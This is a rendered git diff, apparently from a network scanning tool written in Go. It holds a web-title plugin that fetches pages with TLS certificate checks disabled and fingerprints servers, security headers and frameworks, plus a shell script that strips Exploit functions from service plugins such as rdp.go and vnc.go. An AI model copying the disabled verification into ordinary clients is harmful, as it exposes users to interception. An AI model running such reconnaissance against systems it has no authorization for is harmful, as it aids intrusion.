webInfo.URL = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
|
||||
// 创建HTTP客户端
|
||||
client := &http.Client{
|
||||
Timeout: time.Duration(common.WebTimeout) * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
},
|
||||
DisableKeepAlives: true,
|
||||
},
|
||||
}
|
||||
|
||||
// 发送HTTP请求
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", webInfo.URL, nil)
|
||||
if err != nil {
|
||||
return webInfo, fmt.Errorf("创建HTTP请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 设置User-Agent
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return webInfo, fmt.Errorf("HTTP请求失败: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
webInfo.Valid = true
|
||||
webInfo.StatusCode = resp.StatusCode
|
||||
|
||||
// 获取基本响应头信息
|
||||
if server := resp.Header.Get("Server"); server != "" {
|
||||
webInfo.Server = server
|
||||
}
|
||||
|
||||
if contentType := resp.Header.Get("Content-Type"); contentType != "" {
|
||||
webInfo.ContentType = contentType
|
||||
}
|
||||
|
||||
webInfo.ContentLength = resp.ContentLength
|
||||
|
||||
// 检测安全头
|
||||
p.detectSecurityHeaders(resp, webInfo)
|
||||
|
||||
// 读取响应内容
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return webInfo, fmt.Errorf("读取响应内容失败: %v", err)
|
||||
}
|
||||
|
||||
// 提取页面标题
|
||||
webInfo.Title = p.extractTitle(string(body))
|
||||
|
||||
// 检测Web技术
|
||||
p.detectTechnologies(resp, string(body), webInfo)
|
||||
|
||||
return webInfo, nil
|
||||
}
|
||||
|
||||
// extractTitle 提取页面标题
|
||||
func (p *WebTitlePlugin) extractTitle(html string) string {
|
||||
// 正则表达式匹配title标签
|
||||
titleRe := regexp.MustCompile(`(?i)<title[^>]*>([^<]+)</title>`)
|
||||
matches := titleRe.FindStringSubmatch(html)
|
||||
|
||||
if len(matches) > 1 {
|
||||
title := strings.TrimSpace(matches[1])
|
||||
|
||||
// 移除多余的空白字符
|
||||
title = regexp.MustCompile(`\s+`).ReplaceAllString(title, " ")
|
||||
|
||||
// 长度限制
|
||||
if len(title) > 100 {
|
||||
title = title[:100] + "..."
|
||||
}
|
||||
|
||||
// 确保是有效的UTF-8
|
||||
if utf8.ValidString(title) {
|
||||
return title
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// detectSecurityHeaders 检测安全头
|
||||
func (p *WebTitlePlugin) detectSecurityHeaders(resp *http.Response, webInfo *WebInfo) {
|
||||
securityHeaders := []string{
|
||||
"X-Frame-Options",
|
||||
"X-XSS-Protection",
|
||||
"X-Content-Type-Options",
|
||||
"Strict-Transport-Security",
|
||||
"Content-Security-Policy",
|
||||
"X-Powered-By",
|
||||
}
|
||||
|
||||
for _, header := range securityHeaders {
|
||||
if value := resp.Header.Get(header); value != "" {
|
||||
webInfo.SecurityHeaders[header] = value
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// detectTechnologies 检测Web技术
|
||||
func (p *WebTitlePlugin) detectTechnologies(resp *http.Response, body string, webInfo *WebInfo) {
|
||||
// 基于响应头检测
|
||||
if xPoweredBy := resp.Header.Get("X-Powered-By"); xPoweredBy != "" {
|
||||
webInfo.Technologies = append(webInfo.Technologies, fmt.Sprintf("X-Powered-By: %s", xPoweredBy))
|
||||
}
|
||||
|
||||
// 基于Server头检测
|
||||
if server := resp.Header.Get("Server"); server != "" {
|
||||
if strings.Contains(strings.ToLower(server), "apache") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Apache HTTP Server")
|
||||
} else if strings.Contains(strings.ToLower(server), "nginx") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Nginx")
|
||||
} else if strings.Contains(strings.ToLower(server), "iis") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Microsoft IIS")
|
||||
}
|
||||
}
|
||||
|
||||
// 基于HTML内容检测
|
||||
bodyLower := strings.ToLower(body)
|
||||
|
||||
// 检测常见框架
|
||||
if strings.Contains(bodyLower, "wordpress") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "WordPress")
|
||||
}
|
||||
|
||||
if strings.Contains(bodyLower, "joomla") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Joomla")
|
||||
}
|
||||
|
||||
if strings.Contains(bodyLower, "drupal") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Drupal")
|
||||
}
|
||||
|
||||
// 检测JavaScript框架
|
||||
if strings.Contains(bodyLower, "jquery") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "jQuery")
|
||||
}
|
||||
|
||||
if strings.Contains(bodyLower, "angular") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "AngularJS")
|
||||
}
|
||||
|
||||
if strings.Contains(bodyLower, "react") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "React")
|
||||
}
|
||||
|
||||
// 检测Web服务器相关
|
||||
if strings.Contains(bodyLower, "apache tomcat") || strings.Contains(bodyLower, "tomcat") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Apache Tomcat")
|
||||
}
|
||||
|
||||
if strings.Contains(bodyLower, "jetty") {
|
||||
webInfo.Technologies = append(webInfo.Technologies, "Eclipse Jetty")
|
||||
}
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
RegisterPlugin("webtitle", func() Plugin {
|
||||
return NewWebTitlePlugin()
|
||||
})
|
||||
}
|
47
quick_clean.sh
Normal file
47
quick_clean.sh
Normal file
@ -0,0 +1,47 @@
|
||||
#!/bin/bash
|
||||
cd plugins/services
|
||||
|
||||
# 使用awk清理Exploit函数的通用方法
|
||||
clean_exploit() {
|
||||
local file=$1
|
||||
echo "Cleaning $file..."
|
||||
|
||||
awk '
|
||||
BEGIN {
|
||||
skip = 0
|
||||
brace_count = 0
|
||||
}
|
||||
|
||||
# 检测Exploit函数开始
|
||||
/^func.*Exploit\(/ {
|
||||
skip = 1
|
||||
brace_count = 0
|
||||
next
|
||||
}
|
||||
|
||||
# 在跳过模式下计算花括号
|
||||
skip {
|
||||
brace_count += gsub(/\{/, "&")
|
||||
brace_count -= gsub(/\}/, "&")
|
||||
|
||||
if (brace_count <= 0 && /\}/) {
|
||||
skip = 0
|
||||
next
|
||||
}
|
||||
}
|
||||
|
||||
# 输出非跳过的行
|
||||
!skip { print }
|
||||
' "$file" > "${file}.tmp" && mv "${file}.tmp" "$file"
|
||||
|
||||
echo "✓ $file cleaned"
|
||||
}
|
||||
|
||||
# 清理简单的服务插件
|
||||
for file in ftp.go kafka.go ldap.go rabbitmq.go netbios.go rdp.go smtp.go snmp.go telnet.go vnc.go; do
|
||||
if [ -f "$file" ]; then
|
||||
clean_exploit "$file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Batch cleaning completed!"
|
Loading…
Reference in New Issue
Block a user